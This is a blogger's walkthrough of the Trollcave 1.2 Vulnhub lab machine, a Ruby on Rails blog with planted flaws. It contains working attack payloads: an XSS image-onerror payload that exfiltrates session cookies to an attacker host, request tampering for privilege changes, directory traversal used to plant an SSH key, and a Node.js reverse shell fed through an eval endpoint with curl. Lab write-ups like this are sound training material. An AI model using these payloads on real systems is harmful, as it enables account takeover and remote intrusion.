Trollcave: 1.2 | Vulnhub Walkthrough

Dot Dot Slash
egghunter
Published in
10 min readOct 16, 2018

It is not every day that you bump into a vulnhub machine that is realistic. I belong to the guild of realism and believes that boxes should mimic real world pentest scenarios to be worth the effort. Trollcave is an epic vulnhub challenge emulating a real world blog coded on ruby on rails. Developed by David Yates , Trollcave is a rewarding box with core application security issues that I see everyday in work.

Level: Intermediate

I used arp-scan to discover the IP address of my target.

Discover target IP address using arp-scan

Nmap scans were closely in sync with what you can expect on a real world web server. One web application running on port 80 and an SSH port.

Detailed nmap scan

Initial Enumeration

With nikto and dirb fired up to do the dirty job, I visited the application on my browser. The application was a typical blog with many registered users. I attempted to create an user account through registration but the registration was disabled. The URLs for registered users where of the format http://trollcave_ip/users/userid and I quickly enumerated all registered using bash script.

Blog on port 80
for i in {1..19}; do curl http://192.168.56.101/users/$i 2>/dev/null | grep “s page</h1>” | cut -f2 -d’>’|cut -f1 -d\’; done
Enumerating active users

There were few interesting posts in the blog.

  • Password Reset: This post discussed about a password reset functionality which is not fully implemented. According to the post, the developer has implemented a password_resets resource in rails.
  • Politics & religion thread: There was a thread for discussing politics and religion which is closely monitored by a moderator, which means he is checking the thread periodically for abusive comments. This looked like a typical XSS exploitation scenario, but I couldn't post any comments as a guest. So, this was not exploitable at that moment.

Password reset looked like a feasible vector for initial compromise. I was a total noob when it comes to Ruby on Rails(I am still a noob). I searched on “what is a resource on rails”. The understanding I got was that, resources are URL paths for invoking various API actions and my search lead me to a tutorial for ruby coders. I didn't manage read the entire tutorial, but the author was discussing about implementing password reset functionality and there were few URL paths described in the material. I had an intuition to try the same resource paths in the blog. I found password reset functionality on the path /password_resets/new .

Password reset functionality

The password reset functionality creates a password reset URL for the username we are feeding into. By visiting the created link we can reset the password for that user. I tried with the “xer” user and successfully changed his password. I went on and tried to change moderator and admin passwords with no success.

Creating reset password link
Resetting user password

I could login to xer’s account to get access to comments. I can try the XSS scenario now but I thought I should enumerate first. There were additional threads visible only to users.

Access to comments from user account
  • Markdown: There was a thread on the new feature supporting HTML markups. Looks good for my XSS plan.
  • New clearance system: This post talks about the privilege levels in the application. The privilege system is incremental with below matrix.
╔════════════════╦═══════╗
║ Role ║ Level ║
╠════════════════╬═══════╣
║ Guest ║ 0 ║
║ Member ║ 1 ║
║ Regular member ║ 2 ║
║ Moderator ║ 3 ║
║ Admin ║ 4 ║
║ Super admin ║ 5 ║
╚════════════════╩═══════╝
  • File Upload: There was a file upload functionality, but it was disabled.

Cookie Stealing through Cross Site Scripting (XSS)

So the scenario I had in mind was to steal the moderator cookie through XSS. The prerequisite for this scenario to be fruitful, is to have httponly flag disabled on the session cookie. And the session cookie in my target was not marked as httponly!

Session cookie has httponly attribute set to false.

I probed the comments feature for an XSS bug. The application was filtering out <script> tags. After some tries I was able to getting JavaScript working using the image onerror trick.

<img src="error.jpg" onerror="eval("new Image().src=\"http://192.168.56.1/\"+document.cookie;")">

This was the payload I had in mind, but the application was filtering out my payload inside the eval function. I used python to convert my payload to an array of ASCII character codes to be passed onto the String.fromCharCode() function.

Convert payload to list of ASCII codes

I spawned up a python web server using SimpleHTTPServer module and fired my XSS torpedo to the blog.

<IMG SRC="error.jpg" onerror="eval(String.fromCharCode(110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 49, 47, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59))">
Stealing cookie via XSS

The stolen cookie can be set on my browser, using the JavaScript console. On refreshing the browser, I got access as cooldude89.

Setting stolen cookie in a user account
Obtained access as moderator

From the moderator privilege I got access to an additional post. Moderators can promote members(level 2) as moderators(level 3) from the users page. When moderator promotes an user, a POST request is send to an URL path of the format http://trollcave_ip/users/user_id/mod.

Promote feature

Behind the scenes the application was incrementing privilege level by one. I tried promoting cooldude89 but the application prevented users promoting themselves. Not an issue at all. I promoted xer to moderator by raising a mod request. Once the account was promoted to moderator(level 3) there was no longer a mod button against the xer user. I raised mod request for a different member account and intercepted the request in burpsuite to tamper the userid to 17(xer’s userid). Thus I made him an admin(level 4). However when I repeated the same step again to make xer a superadmin, application responded with an error message that is not possible to promote admin users.

With the newly obtained admin account(xer) I got access to an interesting post. According to the post, the super user of the blog has retired and he has granted his access to another admin, dragon. Further from the comments it was evident that superadmin has ability to enable the file upload.

Super user power is with dragon
File upload can be enabled.

Slaying the Dragon

We need to compromise dragon. Dragon is an admin user and his password cannot be reset using the reset link. Just like mod feature, there is an unmod button against the moderators from the admin view. Unmod button will demote the user by one level on raising a request. So I applied the same trick here.

I raised request to demote cooldude89 and intercepted the request to change user id to 3(dragon’s userid). On doing this enough times I was able to demote dragon from admin to normal user. I used the password reset functionality to reset his password and gained access to his account. Dragon had no extra functionality on his dashboard. But he had the loot in his inbox. Super admin password: uFrrK3dXzWeZQ7JtGgZk4FT

Password for superadmin

I logged into King’s account to gain access to the superadmin panel. He had an admin panel where I could enable the file upload function.

File upload functionality can be enabled from the super admin view.

Additionally there was a post which suggested the existence of rails user on the machine with interactive login. So I could login as rails user if I get the credentials for it.

The first thing I tried after enabling file upload was to upload a ruby shell. After so much wasted effort I realized that Ruby on Rails will make you work for your money and doesn't run any random code you upload to its web root. File upload seemed to be not feasible from my google work. There was an alternative name field for file upload, the uploaded files will get saved in the name provided in the alternate name field. I probed that field for directory traversal bug.

Proof for directory traversal bug

King’s other files were uploaded to the path /var/www/trollcave/public/uploads/King/ whereas Koala.jpg(Alternative file name was provided as ../Koala.jpg) was uploaded to /var/www/trollcave/public/uploads/ confirming the directory traversal issue. I saved my ssh key as a txt file and gave the alternative name as ../../../../../../../../home/rails/.ssh/authorized_keys.

SSH key written to authorized keys for SSH access
SSH access as rails user

Path to root

Surprisingly, from the rails account it was possible to view the files inside every other user’s home folder. In King’s home folder I found an interesting calculator script in Node.js.

function start(route)
{
function onRequest(request, response)
{
var theurl = url.parse(request.url);
var pathname = theurl.pathname;
var query = theurl.query;
console.log("Request for " + pathname + query + " received.");
route(pathname, request, query, response);
}

http.createServer(onRequest).listen(8888, '127.0.0.1');
console.log("Server started");
}

The script was written in Node.js and it starts a server on port 8888 on the localhost interface. When I checked the listening ports on the box using netstat, there was indeed an open port on 8888 on the localhost interface. The server application supports one route or API method /calc implemented using the below function.

function calc(pathname, request, query, response)
{
sum = query.split('=')[1];
console.log(sum)
response.writeHead(200, {"Content-Type": "text/plain"});

response.end(eval(sum).toString());
}

The calc method will extract a substring from URL string including characters after ‘=’ character and pass it onto an eval() function. For example, the call http://127.0.0.1:8888/calc?sum=1+1 is evaluated as eval(1+1). The eval() function is much loved by pen-testers around the globe as it will merrily execute any code you pass onto it. Node.js being a server side technology, I can achieve remote code execution through this. I can use the call http://127.0.0.1:8888/calc?sum=eval(String.fromCharCode(payload_in_ascii_list)) to achieve code execution.

If I wanted to trigger the attack through my browser then I needed to port forward the 8888 port in the target machine’s localhost interface to my machine. SSH Local port forwarding can be leveraged to achieve this as below. I was comfortable with curl, so I triggered the exploit from the SSH console itself.

ssh -L4444:127.0.0.1:8888 -i id_rsa rails@192.168.56.101 -f -N

I used the metasploit Node.js reverse shell first, but it didn't work for some unknown reason. I found a simple Node.js reverse shell in appsecco GitHub repository which worked.

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "192.168.56.102", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

I saved above shell code as reverse-shell.js and used the below python code to convert my payload into an array of ASCII characters.

with open('reverse-shell.js', 'r') as myfile:
data=myfile.read()
print [ord(c) for c in data]
Converting payload into array of ASCII characters

My final payload was as below.

curl "http://127.0.0.1:8888/calc?sum=eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,34,110,101,116,34,41,44,10,32,32,32,32,32,32,32,32,99,112,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,44,10,32,32,32,32,32,32,32,32,115,104,32,61,32,99,112,46,115,112,97,119,110,40,34,47,98,105,110,47,115,104,34,44,32,91,93,41,59,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,52,52,51,44,32,34,49,57,50,46,49,54,56,46,53,54,46,49,48,50,34,44,32,102,117,110,99,116,105,111,110,40,41,123,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,114,101,116,117,114,110,32,47,97,47,59,10,125,41,40,41,59,10))"
Triggering attack using curl from the SSH console
Reverse shell as king

I wrote my SSH keys into /home/king/.ssh/authorized_keys for SSH access and logged in via SSH. King was a member of sudo group and could invoke any command as root without providing password. Root flag can be obtained from /root : c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5

King user has sudo rights
Access to root flag.

Afterthoughts

The kernel version of the box is old and is vulnerable. EDB-44298 can be used to pwn the box with no hardships. But it is not as rewarding as the route intended by the author.

Trollcave is an unique machine and I adore the philosophy behind the box. Realism at its best! It is a must try machine for all application security enthusiasts. The application privilege escalation path was unique and elegant. Cheers to David for this wonderful box.

--

--